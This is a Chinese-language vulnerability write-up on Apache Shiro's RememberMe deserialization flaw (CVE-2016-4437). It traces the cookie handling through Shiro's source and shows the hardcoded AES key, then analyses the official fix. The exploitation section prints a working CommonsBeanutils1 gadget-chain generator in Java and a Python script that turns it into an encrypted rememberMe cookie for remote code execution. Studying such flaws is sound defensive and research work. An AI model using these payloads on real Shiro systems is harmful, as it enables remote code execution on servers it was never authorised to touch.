0x00 漏洞简介 Apache Shiro是一个强大且易于使用的Java安全框架,用于身份验证、授权、加密和会话管理等安全领域,它提供了一套全面的安全功能,包括身份认证、授权、加密和会话管理,可以轻松地集成到各种Java应用程序中。
Apache Shiro自0.9版本开始设计了RememberMe的功能,该功能是一种身份认证机制,允许用户在登录后长时间内保持登录状态,即使关闭浏览器或注销账户后再次访问时仍然保持登录状态。当未手动为RememberMe功能配置密钥时,攻击者可以通过发送特定参数的请求对Shiro执行任意代码或绕过预期的访问限制。
0x01 影响范围 该漏洞影响1.2.5以前的版本,但受后续版本的修复方式所限,如果密钥被泄漏,攻击者依旧能够造成任意代码执行或绕过访问限制。
0x02 环境搭建 从Shiro的GitHub仓库克隆下来,并切换至shiro-root-1.2.4分支。
1 2 git clone https://github.com/apache/shiro && cd shiro/ git checkout shiro-root-1.2.4
使用IntelliJ IDEA打开此项目,需要先在samples/web/pom.xml
中指定jstl的版本为1.2,不然后面运行起来会报500。
1 2 3 4 5 6 <dependency > <groupId > javax.servlet</groupId > <artifactId > jstl</artifactId > <version > 1.2</version > <scope > runtime</scope > </dependency >
然后将Java版本设置在8u71以上,尽量接近实战中的环境。继续同步Maven依赖,并参考如下图新增Tomcat运行配置。
等待依赖同步完毕,便可以运行起来。
调试也是没问题的。
0x03 漏洞分析 在登录应用程序时,当勾选rememberMe的功能,如果登录失败,在Set-Cookie响应头中就会有rememberMe=deleteMe
。
若成功登录,则会返回有效的rememberMe Set-Cookie头,并携带这个rememberMe跳转至登录页面。
据此,对应用处理rememberMe的流程进行分析。
相关处理类 在Shiro中,org.apache.shiro.web.mgt.CookieRememberMeManager是用于管理RememberMe功能的核心类之一,它负责生成、解析和验证RememberMe Cookie。
该继承自shiro-core中的org.apache.shiro.mgt.AbstractRememberMeManager,而AbstractRememberMeManager实现了org.apache.shiro.mgt.RememberMeManager接口。
处理流程 根据samples/web/src/main/webapp/WEB-INF/web.xml的映射关系,可知请求任意Web路径都会由org.apache.shiro.web.servlet.ShiroFilter类处理。
1 2 3 4 5 6 7 8 9 <filter > <filter-name > ShiroFilter</filter-name > <filter-class > org.apache.shiro.web.servlet.ShiroFilter</filter-class > </filter > <filter-mapping > <filter-name > ShiroFilter</filter-name > <url-pattern > /*</url-pattern > </filter-mapping >
ShiroFilter类继承自AbstractShiroFilter类。
1 public class ShiroFilter extends AbstractShiroFilter
而AbstractShiroFilter类又继承OncePerRequestFilter。
1 public abstract class AbstractShiroFilter extends OncePerRequestFilter
在OncePerRequestFilter#doFilter方法中调用了doFilterInternal方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public final void doFilter (ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException { String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName(); if ( request.getAttribute(alreadyFilteredAttributeName) != null ) { log.trace("Filter '{}' already executed. Proceeding without invoking this filter." , getName()); filterChain.doFilter(request, response); } else } else { log.trace("Filter '{}' not yet executed. Executing now." , getName()); request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE); try { doFilterInternal(request, response, filterChain); } finally { request.removeAttribute(alreadyFilteredAttributeName); } } }
而doFilterInternal这个方法在子类AbstractShiroFilter中有被重写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 protected void doFilterInternal (ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain) throws ServletException, IOException { Throwable t = null ; try { final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain); final ServletResponse response = prepareServletResponse(request, servletResponse, chain); final Subject subject = createSubject(request, response); subject.execute(new Callable () { public Object call () throws Exception { updateSessionLastAccessTime(request, response); executeChain(request, response, chain); return null ; } }); } catch (ExecutionException ex) { t = ex.getCause(); } catch (Throwable throwable) { t = throwable; } }
在这个方法中会调用createSubject方法创建Subject。
1 2 3 protected WebSubject createSubject (ServletRequest request, ServletResponse response) { return new WebSubject .Builder(getSecurityManager(), request, response).buildWebSubject(); }
继续跟下去,最终会调用父类org.apache.shiro.mgt.DefaultSecurityManager中的createSubject(org.apache.shiro.subject.SubjectContext)方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public Subject createSubject (SubjectContext subjectContext) { SubjectContext context = copy(subjectContext); context = ensureSecurityManager(context); context = resolveSession(context); context = resolvePrincipals(context); Subject subject = doCreateSubject(context); save(subject); return subject; }
如上createSubject方法对resolvePrincipals方法进行了调用,在resolvePrincipals又调用了getRememberedIdentity。getRememberedIdentity中调用了getRememberMeManager和getRememberedPrincipals。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected PrincipalCollection getRememberedIdentity (SubjectContext subjectContext) { RememberMeManager rmm = getRememberMeManager(); if (rmm != null ) { try { return rmm.getRememberedPrincipals(subjectContext); } catch (Exception e) { if (log.isWarnEnabled()) { String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() + "] threw an exception during getRememberedPrincipals()." ; log.warn(msg, e); } } } return null ; }
根据getRememberMeManager方法的签名,可以得知该方法会返回一个org.apache.shiro.mgt.RememberMeManager对象,这是一个接口。
1 2 3 public RememberMeManager getRememberMeManager () { return rememberMeManager; }
1 public interface RememberMeManager
随后会调用到org.apache.shiro.mgt.RememberMeManager#getRememberedPrincipals,这个接口方法只有在AbstractRememberMeManager一个类中得到了实现,而处理RememberMe Cookie得类又是继承自AbstractRememberMeManager类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public PrincipalCollection getRememberedPrincipals (SubjectContext subjectContext) { PrincipalCollection principals = null ; try { byte [] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0 ) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
Base64解码 在如上AbstractRememberMeManager#getRememberedPrincipals方法中调用了getRememberedSerializedIdentity与convertBytesToPrincipals两个方法。
此处的getRememberedSerializedIdentity是一个抽象方法。
1 protected abstract byte [] getRememberedSerializedIdentity(SubjectContext subjectContext);
在shiro-web中,由于org.apache.shiro.web.mgt.CookieRememberMeManager继承自org.apache.shiro.mgt.AbstractRememberMeManager类。
1 public class CookieRememberMeManager extends AbstractRememberMeManager
所以最终会调用到CookieRememberMeManager中的getRememberedSerializedIdentity方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 protected byte [] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation." ; log.debug(msg); } return null ; } WebSubjectContext wsc = (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { return null ; } HttpServletRequest request = WebUtils.getHttpRequest(wsc); HttpServletResponse response = WebUtils.getHttpResponse(wsc); String base64 = getCookie().readValue(request, response); if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null ; if (base64 != null ) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } }
该方法会传入的RememberMe Cookie进行Base64编码,并返回byte[]数组。
AES解密
紧接着,会对字节数组进行非空判断,若成立就会调用org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals方法,在其中解密又调用了两个关键方法,decrypt和deserialize,顾名思义,解密与反序列化。
1 2 3 4 5 6 protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (getCipherService() != null ) { bytes = decrypt(bytes); } return deserialize(bytes); }
decrypt方法如下。
1 2 3 4 5 6 7 8 9 protected byte [] decrypt(byte [] encrypted) { byte [] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
在里面调用了getDecryptionCipherKey方法获取解密Key,返回值便是Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );private byte [] decryptionCipherKey;public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); this .cipherService = new AesCipherService (); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); } public void setCipherKey (byte [] cipherKey) { setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); } public byte [] getDecryptionCipherKey() { return decryptionCipherKey; }
之后,将密文与Key传入至cipherService.decrypt中,这个方法是org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public ByteSource decrypt (byte [] ciphertext, byte [] key) throws CryptoException { byte [] encrypted = ciphertext; byte [] iv = null ; if (isGenerateInitializationVectors(false )) { try { int ivSize = getInitializationVectorSize(); int ivByteSize = ivSize / BITS_PER_BYTE; iv = new byte [ivByteSize]; System.arraycopy(ciphertext, 0 , iv, 0 , ivByteSize); int encryptedSize = ciphertext.length - ivByteSize; encrypted = new byte [encryptedSize]; System.arraycopy(ciphertext, ivByteSize, encrypted, 0 , encryptedSize); } catch (Exception e) { String msg = "Unable to correctly extract the Initialization Vector or ciphertext." ; throw new CryptoException (msg, e); } } return decrypt(encrypted, key, iv); }
由于AES是一种对称加密算法,加解密所用到的密钥Key会是同一个,还会涉及一个初始向量iv。所以在这个方法中,将encrypted、key、iv传给了JcaCipherService#decrypt(byte[], byte[], byte[])方法,在其中进行AES解密,最后返回解密后的内容。
反序列化 成功解密后就会返回到convertBytesToPrincipals方法中,继续交由deserialize方法处理。
1 2 3 protected PrincipalCollection deserialize (byte [] serializedIdentity) { return getSerializer().deserialize(serializedIdentity); }
最后在org.apache.shiro.io.DefaultSerializer#deserialize方法中发生反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public T deserialize (byte [] serialized) throws SerializationException { if (serialized == null ) { String msg = "argument cannot be null." ; throw new IllegalArgumentException (msg); } ByteArrayInputStream bais = new ByteArrayInputStream (serialized); BufferedInputStream bis = new BufferedInputStream (bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream (bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array." ; throw new SerializationException (msg, e); } }
这里面调用了原生readObject方法进行反序列化,这也是远程代码执行漏洞发生的地方。
0x04 漏洞利用 由于Shiro中是存在Commons BeanUtils组件的,但存在的Commons Collections组件是不完整的,所以可以直接利用CommonsBeanutils1来攻击Shiro。
关于CommonsBeanutils1链的详细分析见《Java反序列化漏洞之CommonsBeanutils1链》 文章,这里直接使用如下利用代码生成恶意反序列化数据CBRCEWithoutCC.ser文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package com.javasec.cb;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import java.util.Collections;public class CBRCEWithoutCC { public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_name" , "T" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("CBRCEWithoutCC.ser" )); outputStream.writeObject(queue); outputStream.close(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
然后通过如下Python脚本生成编码后的Payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import base64import uuidfrom Crypto.Cipher import AESwith open ('./CBRCEWithoutCC.ser' , 'rb' ) as f: data = f.read() BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ), AES.MODE_CBC, iv) print ("Cookie: rememberMe={}" .format (base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()))
将Payload放置在BurpSuite中并构造恶意请求,最终成功实现RCE。
0x05 漏洞修复 官方在1.2.5版本中对CVE-2016-4437这个漏洞进行了修复,见如下commit。
https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848
1 2 3 4 5 6 public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); AesCipherService cipherService = new AesCipherService (); this .cipherService = cipherService; setCipherKey(cipherService.generateNewKey().getEncoded()); }
根据如上代码变更,修复方式移除了原本硬编码的Key,然后调用generateNewKey方法生成一个新的Key。
同时,官方还允许开发者在shiro.ini配置文件中自定义设置Key,且这个优先级是高于generateNewKey方法的。
不过反序列化的流程依旧没有发生变化。这也就意味着如果攻击者能得知密钥Key,还是可能对Shiro应用造成远程代码执行的。
0x06 参考 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0074
https://issues.apache.org/jira/browse/SHIRO-721
https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848